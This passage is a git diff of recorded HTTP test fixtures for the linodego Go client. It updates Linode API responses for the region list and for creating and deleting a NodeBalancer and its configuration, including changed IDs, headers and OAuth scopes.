"Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:15 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228210}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441120, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-30.ip.linodeusercontent.com", "ipv4": "172.232.87.30", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694185, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-87-150.ip.linodeusercontent.com", "ipv4": "172.232.87.150", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:16 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441120/configs + url: https://api.linode.com/v4beta/nodebalancers/694185/configs method: POST response: - body: '{"id": 670338, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134759, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441120, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694185, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:16 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,7 +443,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441120/configs/670338 + url: https://api.linode.com/v4beta/nodebalancers/694185/configs/1134759 method: DELETE response: body: '{}' @@ -431,15 +459,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:18 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -452,9 +484,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -470,7 +505,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441120 + url: https://api.linode.com/v4beta/nodebalancers/694185 method: DELETE response: body: '{}' @@ -486,15 +521,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:18 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -507,64 +546,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228210 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNode_CreateInstance.yaml b/test/integration/fixtures/TestNodeBalancerNode_CreateInstance.yaml index b96c470c5..474ecd384 100644 --- a/test/integration/fixtures/TestNodeBalancerNode_CreateInstance.yaml +++ b/test/integration/fixtures/TestNodeBalancerNode_CreateInstance.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 